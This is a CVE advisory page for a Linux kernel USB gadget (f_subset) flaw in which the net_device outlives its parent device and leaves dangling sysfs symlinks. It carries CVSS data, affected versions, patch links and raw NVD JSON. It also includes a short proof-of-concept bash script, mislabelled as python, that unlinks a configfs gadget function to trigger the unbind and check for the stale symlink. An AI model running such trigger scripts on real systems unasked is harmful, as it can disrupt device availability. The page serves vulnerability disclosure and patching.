CVE-2026-31723

Description

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_subset: Fix net_device lifecycle with device_move The net_device is allocated during function instance creation and registered during the bind phase with the gadget device as its sysfs parent. When the function unbinds, the parent device is destroyed, but the net_device survives, resulting in dangling sysfs symlinks: console:/ # ls -l /sys/class/net/usb0 lrwxrwxrwx ... /sys/class/net/usb0 -> /sys/devices/platform/.../gadget.0/net/usb0 console:/ # ls -l /sys/devices/platform/.../gadget.0/net/usb0 ls: .../gadget.0/net/usb0: No such file or directory Use device_move() to reparent the net_device between the gadget device tree and /sys/devices/virtual across bind and unbind cycles. During the final unbind, calling device_move(NULL) moves the net_device to the virtual device tree before the gadget device is destroyed. On rebinding, device_move() reparents the device back under the new gadget, ensuring proper sysfs topology and power management ordering. To maintain compatibility with legacy composite drivers (e.g., multi.c), the bound flag is used to indicate whether the network device is shared and pre-registered during the legacy driver's bind phase.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Versions prior to patches in stable branches c/06524cd, c/70707ce, etc.)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC to demonstrate sysfs dangling symlink issue (CVE-2026-31723)
# This script triggers the unbind process of a USB gadget function.

# Ensure a gadget is configured (setup omitted)
GADGET_DIR="/sys/kernel/config/usb_gadget/g1"
FUNCTION_NAME="geth.usb0"
CONFIG_NAME="c.1"

if [ -d "$GADGET_DIR/functions/$FUNCTION_NAME" ]; then
    echo "[+] Unlinking function to trigger unbind..."
    # Unlinking triggers the unbind logic in the kernel
    rm "$GADGET_DIR/configs/$CONFIG_NAME/$FUNCTION_NAME"
    
    echo "[+] Checking for dangling symlink..."
    if [ -L "/sys/class/net/usb0" ]; then
        echo "[!] Symlink exists, checking target validity..."
        ls -l /sys/class/net/usb0
        # If target is broken, the vulnerability is triggered
    fi
else
    echo "[-] Gadget function not found. Please configure gadget first."
fi

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31723
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31723
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31723/
[4] VulDB https://vuldb.com/cve/CVE-2026-31723
[5] https://git.kernel.org/stable/c/06524cd1c9011bee141a87e43ab878641ed3652b
[6] https://git.kernel.org/stable/c/70707ce668494c4d35fe070dfbc7cc541b293107
[7] https://git.kernel.org/stable/c/9cbc4f109bb216623894d8819fb930210ed34b21
[8] https://git.kernel.org/stable/c/fde29916e4cc736c4ca6c78f331e12b2c73ccafd

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31723", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:34.727", "lastModified": "2026-05-07T17:03:30.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_subset: Fix net_device lifecycle with device_move\n\nThe net_device is allocated during function instance creation and\nregistered during the bind phase with the gadget device as its sysfs\nparent. When the function unbinds, the parent device is destroyed, but\nthe net_device survives, resulting in dangling sysfs symlinks:\n\n console:/ # ls -l /sys/class/net/usb0\n lrwxrwxrwx ... /sys/class/net/usb0 ->\n /sys/devices/platform/.../gadget.0/net/usb0\n console:/ # ls -l /sys/devices/platform/.../gadget.0/net/usb0\n ls: .../gadget.0/net/usb0: No such file or directory\n\nUse device_move() to reparent the net_device between the gadget device\ntree and /sys/devices/virtual across bind and unbind cycles. During the\nfinal unbind, calling device_move(NULL) moves the net_device to the\nvirtual device tree before the gadget device is destroyed. On rebinding,\ndevice_move() reparents the device back under the new gadget, ensuring\nproper sysfs topology and power management ordering.\n\nTo maintain compatibility with legacy composite drivers (e.g., multi.c),\nthe bound flag is used to indicate whether the network device is shared\nand pre-registered during the legacy driver's bind phase."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.11", "versionEndExcluding": "6.12.81", "matchCriteriaId": "2DDEB484-A8B8-4ED2-B54C-C92F595BA13F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/06524cd1c9011bee141a87e43ab878641ed3652b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/70707ce668494c4d35fe070dfbc7cc541b293107", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9cbc4f109bb216623894d8819fb930210ed34b21", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fde29916e4cc736c4ca6c78f331e12b2c73ccafd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}